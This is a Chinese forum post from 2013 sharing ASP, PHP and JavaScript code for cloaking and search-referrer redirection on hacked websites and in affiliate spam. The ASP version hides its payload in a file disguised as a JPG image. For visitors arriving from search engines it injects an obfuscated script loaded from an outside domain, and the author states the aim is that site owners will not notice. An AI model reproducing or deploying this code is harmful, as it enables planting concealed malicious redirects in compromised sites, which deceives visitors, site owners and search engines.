判断搜索引擎来路(黑站+淘宝客)

应用开发者 oogps 2013-5-7 4015

本帖最后由 oogps 于 2013-5-7 15:50 编辑

<%
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","so","sogou","yahoo","soso")
isspider= false
for i=0 to ubound(searray)
 if (instr(agent,searray(i))>0) then isspider=true
next
end function
function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","so","sogou","yahoo","soso")
for i=0 to ubound(searray)
 if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function
function mainpage()
dim mainindex,n,pagearray,indexquery,i
mainindex=LCase(request.ServerVariables("SCRIPT_NAME"))
indexquery=LCase(request.ServerVariables("QUERY_STRING"))
mainpage= false
pagearray=array("/index.","/default.","/main.")
for i=0 to ubound(pagearray)
 if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true
next
end function
if isspider() and mainpage() then
  dim mfso,mfileurl,mfilecon,wfile
  mfileurl=Server.MapPath("/images/pic.jpg")
  Set mfso=Server.CreateObject("Scripting.FileSystemObject") 
  if mfso.FileExists(mfileurl) then 
    Set wfile=mfso.OpenTextFile(mfileurl, 1)
    mfilecon=wfile.readAll
    response.clear
    response.write(mfilecon)
    response.write("<!--"&now()&"-->")
    response.flush
    wfile.Close 
    Set wfile=Nothing 
    Set mfso=Nothing
    response.end
   else
    response.write("fn")
  end if
end if
if (fromse() and mainpage()) then
  response.clear
response.write("<scri"&"pt lang"&"uage='jav"&"as"&"cri"&"pt' src='h"&"t"&"t"&"p"&":"&"/"&"/"&"w"&"w"&"w"&"."&"diyigymkids"&"."&"com"&"/j"&"h"&"/"&"go"&"."&"gi"&"f'></sc"&"ript>
")
  response.flush
  response.end
end if
%>
<?php
$flag = false;
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Baiduspider') >0){
    $flag = true;
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    $flag = true;
} else if(strpos($tmp, 'msnbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sosospider') !== false){
    $flag = true;
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    $flag = true;
} else if(strpos($tmp, 'Gaisbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'ia_archiver') !== false){
    $flag = true;
} else if(strpos($tmp, 'altavista') !== false){
    $flag = true;
} else if(strpos($tmp, 'lycos_spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    $flag = true;
}
if($flag == false){
   //header("Location: http://www.xxx.com" . $_SERVER['REQUEST_URI']);
    require_once("cd.htm");
    // 自动转到http://www.xxx.com 对应的网页
    // $_SERVER['REQUEST_URI'] 为域名后面的路径
    // 或 换成 header("Location: http://www.xxx.com/abc/d.php");
   exit();
}
else
{
 require_once("news1.htm"); 
}
?>
var regexp=//.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(/.[a-z0-9/-]+){1,2}///ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href='http://www.oogps.com'
}
<IMG style="DISPLAY: none" alt="" onerror="if(document.referrer.indexOf('%')!=-1){location.href='http://www.oogps.com'}" src="d">
以上分别为ASP PHP JS版判断搜索引擎来路,可以用在黑站与做淘客让你发现不了。ASP中的/images/pic.jpg,此jpg是asp的后缀改来的,就是为了让您发现不了。{:soso_e128:}


最后一段代码,是目前做淘客最流行的一段代码,简单暴力,如果你是搜索引擎点进去,就会跳到目标网址。
最新回复 (3)
全部楼主
  • 用户 xgqapple 2013-5-7 0
    引用 2
    我就是白老鼠,我已经受伤,不过已经被治好。
  • 用户 0575sos 2013-7-19 0
    引用 3
    找了好久,终于找到了
  • 用户 左手写爱 2013-8-8 0
    引用 4
    千万不要以为自己比引擎聪明

    不过楼主比我聪明多了 哈
    • ZBlogger技术交流中心
      5
          
返回